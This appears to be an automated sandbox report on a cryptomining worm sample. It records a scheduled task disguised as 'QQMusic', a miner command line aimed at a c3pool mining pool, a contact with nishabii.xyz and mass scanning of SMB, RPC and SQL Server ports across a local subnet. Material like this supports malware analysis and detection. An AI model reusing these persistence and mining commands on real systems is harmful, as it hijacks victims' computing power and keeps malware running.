PID 5792 wrote to memory of 4552 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\ipconfig.exe

Processes

C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe

"C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe"

C:\Windows\SysWOW64\cmd.exe

cmd /c schtasks /create /sc minute /mo 1 /tn "QQMusic" /tr C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe /F

C:\Windows\SysWOW64\cmd.exe

cmd /c taskkill /f /im syabcd.exe&&exit

C:\Windows\SysWOW64\schtasks.exe

schtasks /create /sc minute /mo 1 /tn "QQMusic" /tr C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe /F

C:\Windows\SysWOW64\taskkill.exe

taskkill /f /im syabcd.exe

C:\Windows\SysWOW64\cmd.exe

cmd /c ipconfig /flushdns

C:\Windows\SysWOW64\ipconfig.exe

ipconfig /flushdns

C:\ProgramData\syabcd.exe

C:\ProgramData\syabcd.exe -o stratum+tcp://auto.c3pool.org:19999 -u SN -p 1 --max-cpu-usage=50 --cpu-priority 3 --cpu-max-threads-hint=50 -K

C:\ProgramData\SMB.exe

C:\ProgramData\SMB.exe

C:\Windows\SysWOW64\cmd.exe

cmd /c taskkill /f /im syabcd.exe&&exit

C:\ProgramData\syabcd.exe

C:\ProgramData\syabcd.exe -o stratum+tcp://auto.c3pool.org:19999 -u SN -p 1 --max-cpu-usage=50 --cpu-priority 3 --cpu-max-threads-hint=50 -K

C:\Windows\SysWOW64\taskkill.exe

taskkill /f /im syabcd.exe

C:\ProgramData\syabcd.exe

C:\ProgramData\syabcd.exe -o stratum+tcp://auto.c3pool.org:19999 -u SN -p 1 --max-cpu-usage=50 --cpu-priority 3 --cpu-max-threads-hint=50 -K

C:\Windows\SysWOW64\cmd.exe

cmd /c ipconfig /flushdns

C:\Windows\SysWOW64\ipconfig.exe

ipconfig /flushdns

C:\Windows\SysWOW64\cmd.exe

cmd /c taskkill /f /im syabcd.exe&&exit

C:\ProgramData\syabcd.exe

C:\ProgramData\syabcd.exe -o stratum+tcp://auto.c3pool.org:19999 -u SN -p 1 --max-cpu-usage=50 --cpu-priority 3 --cpu-max-threads-hint=50 -K

C:\Windows\SysWOW64\taskkill.exe

taskkill /f /im syabcd.exe

C:\ProgramData\syabcd.exe

C:\ProgramData\syabcd.exe -o stratum+tcp://auto.c3pool.org:19999 -u SN -p 1 --max-cpu-usage=50 --cpu-priority 3 --cpu-max-threads-hint=50 -K

C:\Windows\SysWOW64\cmd.exe

cmd /c taskkill /f /im syabcd.exe&&exit

C:\ProgramData\syabcd.exe

C:\ProgramData\syabcd.exe -o stratum+tcp://auto.c3pool.org:19999 -u SN -p 1 --max-cpu-usage=50 --cpu-priority 3 --cpu-max-threads-hint=50 -K

C:\Windows\SysWOW64\taskkill.exe

taskkill /f /im syabcd.exe

C:\ProgramData\syabcd.exe

C:\ProgramData\syabcd.exe -o stratum+tcp://auto.c3pool.org:19999 -u SN -p 1 --max-cpu-usage=50 --cpu-priority 3 --cpu-max-threads-hint=50 -K

C:\Windows\SysWOW64\cmd.exe

cmd /c ipconfig /flushdns

C:\Windows\SysWOW64\ipconfig.exe

ipconfig /flushdns

C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe

C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe

C:\Windows\SysWOW64\cmd.exe

cmd /c ipconfig /flushdns

C:\Windows\SysWOW64\ipconfig.exe

ipconfig /flushdns

Network

Country Destination Domain Proto
US 8.8.8.8:53 nishabii.xyz udp
CN 218.244.58.70:9011 nishabii.xyz tcp
US 8.8.8.8:53 auto.c3pool.org udp
DE 88.198.117.174:19999 auto.c3pool.org tcp
DE 88.198.117.174:19999 auto.c3pool.org tcp
DE 195.201.97.156:19999 auto.c3pool.org tcp
N/A 10.127.0.0:445 tcp
N/A 10.127.0.1:445 tcp
N/A 10.127.0.2:445 tcp
N/A 10.127.0.3:445 tcp
N/A 10.127.0.4:445 tcp
N/A 10.127.0.5:445 tcp
N/A 10.127.0.6:445 tcp
N/A 10.127.0.6:19490 tcp
N/A 10.127.0.6:135 tcp
N/A 10.127.0.6:19490 tcp
N/A 10.127.0.6:1433 tcp
N/A 10.127.0.7:445 tcp
N/A 10.127.0.8:445 tcp
N/A 10.127.0.9:445 tcp
N/A 10.127.0.10:445 tcp
N/A 10.127.0.11:445 tcp
N/A 10.127.0.12:445 tcp
N/A 10.127.0.13:445 tcp
N/A 10.127.0.14:445 tcp
N/A 10.127.0.15:445 tcp
N/A 10.127.0.16:445 tcp
N/A 10.127.0.17:445 tcp
N/A 10.127.0.18:445 tcp
N/A 10.127.0.19:445 tcp
N/A 10.127.0.20:445 tcp
N/A 10.127.0.21:445 tcp
N/A 10.127.0.22:445 tcp
N/A 10.127.0.23:445 tcp
N/A 10.127.0.24:445 tcp
N/A 10.127.0.25:445 tcp
N/A 10.127.0.26:445 tcp
N/A 10.127.0.27:445 tcp
N/A 10.127.0.28:445 tcp
N/A 10.127.0.29:445 tcp
N/A 10.127.0.30:445 tcp
N/A 10.127.0.31:445 tcp
N/A 10.127.0.32:445 tcp
N/A 10.127.0.33:445 tcp
N/A 10.127.0.34:445 tcp
N/A 10.127.0.35:445 tcp
N/A 10.127.0.36:445 tcp
N/A 10.127.0.37:445 tcp
N/A 10.127.0.38:445 tcp
N/A 10.127.0.39:445 tcp
N/A 10.127.0.40:445 tcp
N/A 10.127.0.41:445 tcp
N/A 10.127.0.42:445 tcp
N/A 10.127.0.43:445 tcp
N/A 10.127.0.44:445 tcp
N/A 10.127.0.45:445 tcp
N/A 10.127.0.46:445 tcp
N/A 10.127.0.47:445 tcp
N/A 10.127.0.48:445 tcp
N/A 10.127.0.49:445 tcp
N/A 10.127.0.50:445 tcp
N/A 10.127.0.51:445 tcp
N/A 10.127.0.52:445 tcp
N/A 10.127.0.56:445 tcp
N/A 10.127.0.54:445 tcp
N/A 10.127.0.60:445 tcp
N/A 10.127.0.65:445 tcp
N/A 10.127.0.53:445 tcp
N/A 10.127.0.67:445 tcp
N/A 10.127.0.58:445 tcp
N/A 10.127.0.72:445 tcp
N/A 10.127.0.61:445 tcp
N/A 10.127.0.82:445 tcp
N/A 10.127.0.77:445 tcp
N/A 10.127.0.55:445 tcp
N/A 10.127.0.74:445 tcp
N/A 10.127.0.86:445 tcp
N/A 10.127.0.62:445 tcp
N/A 10.127.0.70:445 tcp
N/A 10.127.0.64:445 tcp
N/A 10.127.0.66:445 tcp
N/A 10.127.0.91:445 tcp
N/A 10.127.0.59:445 tcp
N/A 10.127.0.57:445 tcp
N/A 10.127.0.73:445 tcp
N/A 10.127.0.75:445 tcp
N/A 10.127.0.71:445 tcp
N/A 10.127.0.92:445 tcp
N/A 10.127.0.63:445 tcp
N/A 10.127.0.69:445 tcp
N/A 10.127.0.98:445 tcp
N/A 10.127.0.79:445 tcp
N/A 10.127.0.76:445 tcp
N/A 10.127.0.85:445 tcp
N/A 10.127.0.68:445 tcp
N/A 10.127.0.95:445 tcp
N/A 10.127.0.80:445 tcp
N/A 10.127.0.88:445 tcp
N/A 10.127.0.89:445 tcp
N/A 10.127.0.97:445 tcp
N/A 10.127.0.84:445 tcp
N/A 10.127.0.93:445 tcp
N/A 10.127.0.78:445 tcp
N/A 10.127.0.81:445 tcp
N/A 10.127.0.83:445 tcp
N/A 10.127.0.87:445 tcp
N/A 10.127.0.90:445 tcp
N/A 10.127.0.94:445 tcp
N/A 10.127.0.96:445 tcp
N/A 10.127.0.99:445 tcp
N/A 10.127.0.100:445 tcp
N/A 10.127.0.101:445 tcp
N/A 10.127.0.102:445 tcp
N/A 10.127.0.103:445 tcp
N/A 10.127.0.104:445 tcp
N/A 10.127.0.105:445 tcp
N/A 10.127.0.106:445 tcp
N/A 10.127.0.107:445 tcp
N/A 10.127.0.108:445 tcp
N/A 10.127.0.109:445 tcp
N/A 10.127.0.110:445 tcp
N/A 10.127.0.111:445 tcp
N/A 10.127.0.112:445 tcp
N/A 10.127.0.113:445 tcp
N/A 10.127.0.114:445 tcp
N/A 10.127.0.115:445 tcp
N/A 10.127.0.116:445 tcp
N/A 10.127.0.117:445 tcp
N/A 10.127.0.118:445 tcp
N/A 10.127.0.119:445 tcp
N/A 10.127.0.120:445 tcp
N/A 10.127.0.121:445 tcp
N/A 10.127.0.122:445 tcp
N/A 10.127.0.123:445 tcp
N/A 10.127.0.124:445 tcp
N/A 10.127.0.125:445 tcp
N/A 10.127.0.126:445 tcp
N/A 10.127.0.127:445 tcp
N/A 10.127.0.128:445 tcp
N/A 10.127.0.129:445 tcp
N/A 10.127.0.130:445 tcp
N/A 10.127.0.131:445 tcp
N/A 10.127.0.132:445 tcp
N/A 10.127.0.133:445 tcp
N/A 10.127.0.134:445 tcp
N/A 10.127.0.135:445 tcp
N/A 10.127.0.136:445 tcp
N/A 10.127.0.137:445 tcp
N/A 10.127.0.138:445 tcp
N/A 10.127.0.139:445 tcp
N/A 10.127.0.140:445 tcp
N/A 10.127.0.141:445 tcp
N/A 10.127.0.142:445 tcp
N/A 10.127.0.143:445 tcp
N/A 10.127.0.144:445 tcp
N/A 10.127.0.145:445 tcp
N/A 10.127.0.146:445 tcp
N/A 10.127.0.147:445 tcp
N/A 10.127.0.148:445 tcp
N/A 10.127.0.149:445 tcp
N/A 10.127.0.150:445 tcp
N/A 10.127.0.151:445 tcp
N/A 10.127.0.152:445 tcp
N/A 10.127.0.153:445 tcp
N/A 10.127.0.154:445 tcp
N/A 10.127.0.155:445 tcp
N/A 10.127.0.156:445 tcp
N/A 10.127.0.157:445 tcp
N/A 10.127.0.158:445 tcp
N/A 10.127.0.159:445 tcp
N/A 10.127.0.160:445 tcp
N/A 10.127.0.161:445 tcp
N/A 10.127.0.162:445 tcp
N/A 10.127.0.163:445 tcp
N/A 10.127.0.164:445 tcp
N/A 10.127.0.165:445 tcp
N/A 10.127.0.166:445 tcp
N/A 10.127.0.167:445 tcp
N/A 10.127.0.168:445 tcp
N/A 10.127.0.169:445 tcp
N/A 10.127.0.170:445 tcp
N/A 10.127.0.171:445 tcp
N/A 10.127.0.172:445 tcp
N/A 10.127.0.173:445 tcp
N/A 10.127.0.174:445 tcp
N/A 10.127.0.175:445 tcp
N/A 10.127.0.176:445 tcp
N/A 10.127.0.177:445 tcp
N/A 10.127.0.178:445 tcp
N/A 10.127.0.179:445 tcp
N/A 10.127.0.180:445 tcp
N/A 10.127.0.183:445 tcp
N/A 10.127.0.0:135 tcp
N/A 10.127.0.181:445 tcp
N/A 10.127.0.1:135 tcp
N/A 10.127.0.185:445 tcp
N/A 10.127.0.2:135 tcp
N/A 10.127.0.3:135 tcp
N/A 10.127.0.4:135 tcp
N/A 10.127.0.5:135 tcp
N/A 10.127.0.7:135 tcp
N/A 10.127.0.8:135 tcp
N/A 10.127.0.9:135 tcp
N/A 10.127.0.194:445 tcp
N/A 10.127.0.10:135 tcp
N/A 10.127.0.195:445 tcp
N/A 10.127.0.12:135 tcp
N/A 10.127.0.11:135 tcp
N/A 10.127.0.188:445 tcp
N/A 10.127.0.182:445 tcp
N/A 10.127.0.13:135 tcp
N/A 10.127.0.14:135 tcp
N/A 10.127.0.190:445 tcp
N/A 10.127.0.191:445 tcp
N/A 10.127.0.15:135 tcp
N/A 10.127.0.16:135 tcp
N/A 10.127.0.201:445 tcp
N/A 10.127.0.17:135 tcp
N/A 10.127.0.18:135 tcp
N/A 10.127.0.184:445 tcp
N/A 10.127.0.19:135 tcp
N/A 10.127.0.189:445 tcp
N/A 10.127.0.20:135 tcp
N/A 10.127.0.21:135 tcp
N/A 10.127.0.23:135 tcp
N/A 10.127.0.22:135 tcp
N/A 10.127.0.202:445 tcp
N/A 10.127.0.24:135 tcp
N/A 10.127.0.25:135 tcp
N/A 10.127.0.209:445 tcp
N/A 10.127.0.193:445 tcp
N/A 10.127.0.198:445 tcp
N/A 10.127.0.26:135 tcp
N/A 10.127.0.28:135 tcp
N/A 10.127.0.27:135 tcp
N/A 10.127.0.197:445 tcp
N/A 10.127.0.29:135 tcp
N/A 10.127.0.203:445 tcp
N/A 10.127.0.30:135 tcp
N/A 10.127.0.31:135 tcp
N/A 10.127.0.213:445 tcp
N/A 10.127.0.222:445 tcp
N/A 10.127.0.32:135 tcp
N/A 10.127.0.33:135 tcp
N/A 10.127.0.34:135 tcp
N/A 10.127.0.35:135 tcp
N/A 10.127.0.208:445 tcp
N/A 10.127.0.211:445 tcp
N/A 10.127.0.36:135 tcp
N/A 10.127.0.217:445 tcp
N/A 10.127.0.37:135 tcp
N/A 10.127.0.38:135 tcp
N/A 10.127.0.205:445 tcp
N/A 10.127.0.39:135 tcp
N/A 10.127.0.40:135 tcp
N/A 10.127.0.196:445 tcp
N/A 10.127.0.41:135 tcp
N/A 10.127.0.186:445 tcp
N/A 10.127.0.187:445 tcp
N/A 10.127.0.231:445 tcp
N/A 10.127.0.42:135 tcp
N/A 10.127.0.43:135 tcp
N/A 10.127.0.44:135 tcp
N/A 10.127.0.200:445 tcp
N/A 10.127.0.212:445 tcp
N/A 10.127.0.215:445 tcp
N/A 10.127.0.45:135 tcp
N/A 10.127.0.46:135 tcp
N/A 10.127.0.199:445 tcp
N/A 10.127.0.204:445 tcp
N/A 10.127.0.207:445 tcp
N/A 10.127.0.238:445 tcp
N/A 10.127.0.221:445 tcp
N/A 10.127.0.47:135 tcp
N/A 10.127.0.48:135 tcp
N/A 10.127.0.49:135 tcp
N/A 10.127.0.225:445 tcp
N/A 10.127.0.192:445 tcp
N/A 10.127.0.50:135 tcp
N/A 10.127.0.51:135 tcp
N/A 10.127.0.206:445 tcp
N/A 10.127.0.218:445 tcp
N/A 10.127.0.52:135 tcp
N/A 10.127.0.53:135 tcp
N/A 10.127.0.235:445 tcp
N/A 10.127.0.54:135 tcp
N/A 10.127.0.236:445 tcp
N/A 10.127.0.241:445 tcp
N/A 10.127.0.55:135 tcp
N/A 10.127.0.219:445 tcp
N/A 10.127.0.57:135 tcp
N/A 10.127.0.56:135 tcp
N/A 10.127.0.228:445 tcp
N/A 10.127.0.239:445 tcp
N/A 10.127.0.58:135 tcp
N/A 10.127.0.6:21 tcp
N/A 10.127.0.210:445 tcp
N/A 10.127.0.214:445 tcp
N/A 10.127.0.216:445 tcp
N/A 10.127.0.220:445 tcp
N/A 10.127.0.223:445 tcp
N/A 10.127.0.224:445 tcp
N/A 10.127.0.226:445 tcp
N/A 10.127.0.227:445 tcp
N/A 10.127.0.229:445 tcp
N/A 10.127.0.230:445 tcp
N/A 10.127.0.232:445 tcp
N/A 10.127.0.233:445 tcp
N/A 10.127.0.234:445 tcp
N/A 10.127.0.237:445 tcp
N/A 10.127.0.240:445 tcp
N/A 10.127.0.242:445 tcp
N/A 10.127.0.243:445 tcp
N/A 10.127.0.244:445 tcp
N/A 10.127.0.245:445 tcp
N/A 10.127.0.246:445 tcp
N/A 10.127.0.247:445 tcp
N/A 10.127.0.248:445 tcp
N/A 10.127.0.249:445 tcp
N/A 10.127.0.250:445 tcp
N/A 10.127.0.251:445 tcp
N/A 10.127.0.59:135 tcp
N/A 10.127.0.252:445 tcp
N/A 10.127.0.60:135 tcp
N/A 10.127.0.253:445 tcp
N/A 10.127.0.61:135 tcp
N/A 10.127.0.62:135 tcp
N/A 10.127.0.254:445 tcp
N/A 10.127.0.64:135 tcp
N/A 10.127.0.63:135 tcp
N/A 10.127.0.65:135 tcp
N/A 10.127.0.66:135 tcp
N/A 10.127.0.67:135 tcp
N/A 10.127.0.68:135 tcp
N/A 10.127.0.69:135 tcp
N/A 10.127.0.70:135 tcp
N/A 10.127.0.71:135 tcp
N/A 10.127.0.72:135 tcp
N/A 10.127.0.73:135 tcp
N/A 10.127.0.74:135 tcp
N/A 10.127.0.75:135 tcp
N/A 10.127.0.77:135 tcp
N/A 10.127.0.76:135 tcp
N/A 10.127.0.78:135 tcp
N/A 10.127.0.79:135 tcp
N/A 10.127.0.80:135 tcp
N/A 10.127.0.81:135 tcp
N/A 10.127.0.82:135 tcp
N/A 10.127.0.83:135 tcp
N/A 10.127.0.84:135 tcp
N/A 10.127.0.85:135 tcp
N/A 10.127.0.86:135 tcp
N/A 10.127.0.87:135 tcp
N/A 10.127.0.88:135 tcp
N/A 10.127.0.89:135 tcp
N/A 10.127.0.91:135 tcp
N/A 10.127.0.90:135 tcp
N/A 10.127.0.92:135 tcp
N/A 10.127.0.93:135 tcp
N/A 10.127.0.94:135 tcp
N/A 10.127.0.95:135 tcp
N/A 10.127.0.96:135 tcp
N/A 10.127.0.97:135 tcp
N/A 10.127.0.99:135 tcp
N/A 10.127.0.98:135 tcp
N/A 10.127.0.100:135 tcp
N/A 10.127.0.101:135 tcp
N/A 10.127.0.103:135 tcp
N/A 10.127.0.102:135 tcp
N/A 10.127.0.104:135 tcp
N/A 10.127.0.105:135 tcp
N/A 10.127.0.106:135 tcp
N/A 10.127.0.107:135 tcp
N/A 10.127.0.108:135 tcp
N/A 10.127.0.109:135 tcp
N/A 10.127.0.110:135 tcp
N/A 10.127.0.111:135 tcp
N/A 10.127.0.113:135 tcp
N/A 10.127.0.112:135 tcp
N/A 10.127.0.114:135 tcp
N/A 10.127.0.116:135 tcp
N/A 10.127.0.115:135 tcp
N/A 10.127.0.117:135 tcp
N/A 10.127.0.118:135 tcp
N/A 10.127.0.119:135 tcp
N/A 10.127.0.120:135 tcp
N/A 10.127.0.121:135 tcp
N/A 10.127.0.122:135 tcp
N/A 10.127.0.124:135 tcp
N/A 10.127.0.123:135 tcp
N/A 10.127.0.125:135 tcp
N/A 10.127.0.126:135 tcp
N/A 10.127.0.127:135 tcp
N/A 10.127.0.128:135 tcp
N/A 10.127.0.129:135 tcp
N/A 10.127.0.130:135 tcp
N/A 10.127.0.131:135 tcp
N/A 10.127.0.132:135 tcp
N/A 10.127.0.133:135 tcp
N/A 10.127.0.134:135 tcp
N/A 10.127.0.135:135 tcp
N/A 10.127.0.136:135 tcp
N/A 10.127.0.137:135 tcp
N/A 10.127.0.138:135 tcp
N/A 10.127.0.139:135 tcp
N/A 10.127.0.140:135 tcp
N/A 10.127.0.141:135 tcp
N/A 10.127.0.142:135 tcp
N/A 10.127.0.143:135 tcp
N/A 10.127.0.145:135 tcp
N/A 10.127.0.144:135 tcp
N/A 10.127.0.146:135 tcp
N/A 10.127.0.147:135 tcp
N/A 10.127.0.148:135 tcp
N/A 10.127.0.149:135 tcp
N/A 10.127.0.150:135 tcp
N/A 10.127.0.151:135 tcp
N/A 10.127.0.152:135 tcp
N/A 10.127.0.153:135 tcp
N/A 10.127.0.154:135 tcp
N/A 10.127.0.156:135 tcp
N/A 10.127.0.155:135 tcp
N/A 10.127.0.157:135 tcp
N/A 10.127.0.158:135 tcp
N/A 10.127.0.159:135 tcp
N/A 10.127.0.160:135 tcp
N/A 10.127.0.161:135 tcp
N/A 10.127.0.162:135 tcp
N/A 10.127.0.163:135 tcp
N/A 10.127.0.164:135 tcp
N/A 10.127.0.166:135 tcp
N/A 10.127.0.165:135 tcp
N/A 10.127.0.167:135 tcp
N/A 10.127.0.168:135 tcp
N/A 10.127.0.170:135 tcp
N/A 10.127.0.169:135 tcp
N/A 10.127.0.171:135 tcp
N/A 10.127.0.172:135 tcp
N/A 10.127.0.174:135 tcp
N/A 10.127.0.173:135 tcp
N/A 10.127.0.175:135 tcp
N/A 10.127.0.176:135 tcp
N/A 10.127.0.177:135 tcp
N/A 10.127.0.178:135 tcp
N/A 10.127.0.179:135 tcp
N/A 10.127.0.180:135 tcp
N/A 10.127.0.181:135 tcp
N/A 10.127.0.182:135 tcp
N/A 10.127.0.183:135 tcp
N/A 10.127.0.184:135 tcp
N/A 10.127.0.185:135 tcp
N/A 10.127.0.186:135 tcp
N/A 10.127.0.188:135 tcp
N/A 10.127.0.187:135 tcp
N/A 10.127.0.190:135 tcp
N/A 10.127.0.189:135 tcp
N/A 10.127.0.191:135 tcp
N/A 10.127.0.192:135 tcp
N/A 10.127.0.0:1433 tcp
N/A 10.127.0.193:135 tcp
N/A 10.127.0.194:135 tcp
N/A 10.127.0.1:1433 tcp
N/A 10.127.0.195:135 tcp
N/A 10.127.0.2:1433 tcp
N/A 10.127.0.196:135 tcp
N/A 10.127.0.3:1433 tcp
N/A 10.127.0.197:135 tcp
N/A 10.127.0.4:1433 tcp
N/A 10.127.0.198:135 tcp
N/A 10.127.0.5:1433 tcp
N/A 10.127.0.199:135 tcp
N/A 10.127.0.6:19490 tcp
N/A 10.127.0.200:135 tcp
N/A 10.127.0.7:1433 tcp
N/A 10.127.0.201:135 tcp
N/A 10.127.0.8:1433 tcp
N/A 10.127.0.202:135 tcp
N/A 10.127.0.9:1433 tcp
N/A 10.127.0.203:135 tcp
N/A 10.127.0.10:1433 tcp
N/A 10.127.0.204:135 tcp
N/A 10.127.0.205:135 tcp
N/A 10.127.0.12:1433 tcp
N/A 10.127.0.11:1433 tcp
N/A 10.127.0.206:135 tcp
N/A 10.127.0.14:1433 tcp
N/A 10.127.0.13:1433 tcp
N/A 10.127.0.207:135 tcp
N/A 10.127.0.208:135 tcp
N/A 10.127.0.16:1433 tcp
N/A 10.127.0.209:135 tcp
N/A 10.127.0.15:1433 tcp
N/A 10.127.0.210:135 tcp
N/A 10.127.0.18:1433 tcp
N/A 10.127.0.17:1433 tcp
N/A 10.127.0.211:135 tcp
N/A 10.127.0.212:135 tcp
N/A 10.127.0.19:1433 tcp
N/A 10.127.0.213:135 tcp
N/A 10.127.0.20:1433 tcp
N/A 10.127.0.214:135 tcp
N/A 10.127.0.215:135 tcp
N/A 10.127.0.21:1433 tcp
N/A 10.127.0.216:135 tcp
N/A 10.127.0.22:1433 tcp
N/A 10.127.0.23:1433 tcp
N/A 10.127.0.24:1433 tcp
N/A 10.127.0.217:135 tcp
N/A 10.127.0.218:135 tcp
N/A 10.127.0.25:1433 tcp
N/A 10.127.0.219:135 tcp
N/A 10.127.0.26:1433 tcp
N/A 10.127.0.220:135 tcp
N/A 10.127.0.221:135 tcp
N/A 10.127.0.28:1433 tcp
N/A 10.127.0.27:1433 tcp
N/A 10.127.0.222:135 tcp
N/A 10.127.0.29:1433 tcp
N/A 10.127.0.223:135 tcp
N/A 10.127.0.30:1433 tcp
N/A 10.127.0.224:135 tcp
N/A 10.127.0.31:1433 tcp
N/A 10.127.0.225:135 tcp
N/A 10.127.0.226:135 tcp
N/A 10.127.0.33:1433 tcp
N/A 10.127.0.32:1433 tcp
N/A 10.127.0.227:135 tcp
N/A 10.127.0.228:135 tcp
N/A 10.127.0.35:1433 tcp
N/A 10.127.0.34:1433 tcp
N/A 10.127.0.229:135 tcp
N/A 10.127.0.36:1433 tcp
N/A 10.127.0.230:135 tcp
N/A 10.127.0.231:135 tcp
N/A 10.127.0.37:1433 tcp
N/A 10.127.0.38:1433 tcp
N/A 10.127.0.232:135 tcp
N/A 10.127.0.39:1433 tcp
N/A 10.127.0.40:1433 tcp
N/A 10.127.0.233:135 tcp
N/A 10.127.0.234:135 tcp
N/A 10.127.0.41:1433 tcp
N/A 10.127.0.235:135 tcp
N/A 10.127.0.42:1433 tcp
N/A 10.127.0.236:135 tcp
N/A 10.127.0.237:135 tcp
N/A 10.127.0.45:1433 tcp
N/A 10.127.0.43:1433 tcp
N/A 10.127.0.44:1433 tcp
N/A 10.127.0.238:135 tcp
N/A 10.127.0.239:135 tcp
N/A 10.127.0.46:1433 tcp
N/A 10.127.0.240:135 tcp
N/A 10.127.0.48:1433 tcp
N/A 10.127.0.47:1433 tcp
N/A 10.127.0.241:135 tcp
N/A 10.127.0.242:135 tcp
N/A 10.127.0.49:1433 tcp
N/A 10.127.0.243:135 tcp
N/A 10.127.0.50:1433 tcp
N/A 10.127.0.51:1433 tcp
N/A 10.127.0.244:135 tcp
N/A 10.127.0.245:135 tcp
N/A 10.127.0.52:1433 tcp
N/A 10.127.0.53:1433 tcp
N/A 10.127.0.246:135 tcp
N/A 10.127.0.54:1433 tcp
N/A 10.127.0.248:135 tcp
N/A 10.127.0.247:135 tcp
N/A 10.127.0.55:1433 tcp
N/A 10.127.0.249:135 tcp
N/A 10.127.0.250:135 tcp
N/A 10.127.0.58:1433 tcp
N/A 10.127.0.56:1433 tcp
N/A 10.127.0.57:1433 tcp
N/A 10.127.0.251:135 tcp
N/A 10.127.0.252:135 tcp
N/A 10.127.0.59:1433 tcp
N/A 10.127.0.253:135 tcp
N/A 10.127.0.60:1433 tcp
N/A 10.127.0.254:135 tcp
N/A 10.127.0.61:1433 tcp
N/A 10.127.0.62:1433 tcp
N/A 10.127.0.64:1433 tcp
N/A 10.127.0.63:1433 tcp
N/A 10.127.0.65:1433 tcp
N/A 10.127.0.66:1433 tcp
N/A 10.127.0.67:1433 tcp
N/A 10.127.0.69:1433 tcp
N/A 10.127.0.68:1433 tcp
N/A 10.127.0.70:1433 tcp
N/A 10.127.0.71:1433 tcp
N/A 10.127.0.72:1433 tcp
N/A 10.127.0.73:1433 tcp
N/A 10.127.0.74:1433 tcp
N/A 10.127.0.77:1433 tcp
N/A 10.127.0.76:1433 tcp
N/A 10.127.0.75:1433 tcp
N/A 10.127.0.78:1433 tcp
N/A 10.127.0.79:1433 tcp
N/A 10.127.0.80:1433 tcp
N/A 10.127.0.81:1433 tcp
N/A 10.127.0.83:1433 tcp
N/A 10.127.0.82:1433 tcp
N/A 10.127.0.84:1433 tcp
N/A 10.127.0.86:1433 tcp
N/A 10.127.0.85:1433 tcp
N/A 10.127.0.88:1433 tcp
N/A 10.127.0.87:1433 tcp
N/A 10.127.0.89:1433 tcp
N/A 10.127.0.91:1433 tcp
N/A 10.127.0.90:1433 tcp
N/A 10.127.0.92:1433 tcp
N/A 10.127.0.93:1433 tcp
N/A 10.127.0.94:1433 tcp
N/A 10.127.0.95:1433 tcp
N/A 10.127.0.97:1433 tcp
N/A 10.127.0.96:1433 tcp
N/A 10.127.0.98:1433 tcp
N/A 10.127.0.99:1433 tcp
N/A 10.127.0.100:1433 tcp
N/A 10.127.0.101:1433 tcp
N/A 10.127.0.102:1433 tcp
N/A 10.127.0.104:1433 tcp
N/A 10.127.0.103:1433 tcp
N/A 10.127.0.105:1433 tcp
N/A 10.127.0.106:1433 tcp
N/A 10.127.0.107:1433 tcp
N/A 10.127.0.108:1433 tcp
N/A 10.127.0.109:1433 tcp
N/A 10.127.0.110:1433 tcp
N/A 10.127.0.111:1433 tcp
N/A 10.127.0.112:1433 tcp
N/A 10.127.0.113:1433 tcp
N/A 10.127.0.114:1433 tcp
N/A 10.127.0.115:1433 tcp
N/A 10.127.0.116:1433 tcp
N/A 10.127.0.117:1433 tcp
N/A 10.127.0.118:1433 tcp
N/A 10.127.0.119:1433 tcp
N/A 10.127.0.121:1433 tcp
N/A 10.127.0.120:1433 tcp
N/A 10.127.0.122:1433 tcp
N/A 10.127.0.123:1433 tcp
N/A 10.127.0.124:1433 tcp
N/A 10.127.0.125:1433 tcp
N/A 10.127.0.127:1433 tcp
N/A 10.127.0.126:1433 tcp
N/A 10.127.0.128:1433 tcp
N/A 10.127.0.130:1433 tcp
N/A 10.127.0.129:1433 tcp
N/A 10.127.0.132:1433 tcp
N/A 10.127.0.131:1433 tcp
N/A 10.127.0.134:1433 tcp
N/A 10.127.0.133:1433 tcp
N/A 10.127.0.135:1433 tcp
N/A 10.127.0.136:1433 tcp
N/A 10.127.0.137:1433 tcp
N/A 10.127.0.139:1433 tcp
N/A 10.127.0.138:1433 tcp
N/A 10.127.0.140:1433 tcp
N/A 10.127.0.142:1433 tcp
N/A 10.127.0.141:1433 tcp
N/A 10.127.0.143:1433 tcp
N/A 10.127.0.144:1433 tcp
N/A 10.127.0.146:1433 tcp
N/A 10.127.0.145:1433 tcp
N/A 10.127.0.147:1433 tcp
N/A 10.127.0.148:1433 tcp
N/A 10.127.0.149:1433 tcp
N/A 10.127.0.150:1433 tcp
N/A 10.127.0.151:1433 tcp
N/A 10.127.0.152:1433 tcp
N/A 10.127.0.153:1433 tcp
N/A 10.127.0.154:1433 tcp
N/A 10.127.0.155:1433 tcp
N/A 10.127.0.156:1433 tcp
N/A 10.127.0.158:1433 tcp
N/A 10.127.0.157:1433 tcp
N/A 10.127.0.159:1433 tcp
N/A 10.127.0.161:1433 tcp
N/A 10.127.0.160:1433 tcp
N/A 10.127.0.162:1433 tcp
N/A 10.127.0.163:1433 tcp
N/A 10.127.0.164:1433 tcp
N/A 10.127.0.166:1433 tcp
N/A 10.127.0.165:1433 tcp
N/A 10.127.0.167:1433 tcp
N/A 10.127.0.168:1433 tcp
N/A 10.127.0.170:1433 tcp
N/A 10.127.0.169:1433 tcp
N/A 10.127.0.171:1433 tcp
N/A 10.127.0.172:1433 tcp
N/A 10.127.0.174:1433 tcp
N/A 10.127.0.173:1433 tcp
N/A 10.127.0.175:1433 tcp
N/A 10.127.0.176:1433 tcp
N/A 10.127.0.177:1433 tcp
N/A 10.127.0.178:1433 tcp
N/A 10.127.0.179:1433 tcp
N/A 10.127.0.180:1433 tcp
N/A 10.127.0.181:1433 tcp
N/A 10.127.0.182:1433 tcp
N/A 10.127.0.183:1433 tcp
N/A 10.127.0.185:1433 tcp
N/A 10.127.0.184:1433 tcp
N/A 10.127.0.186:1433 tcp
N/A 10.127.0.188:1433 tcp
N/A 10.127.0.187:1433 tcp
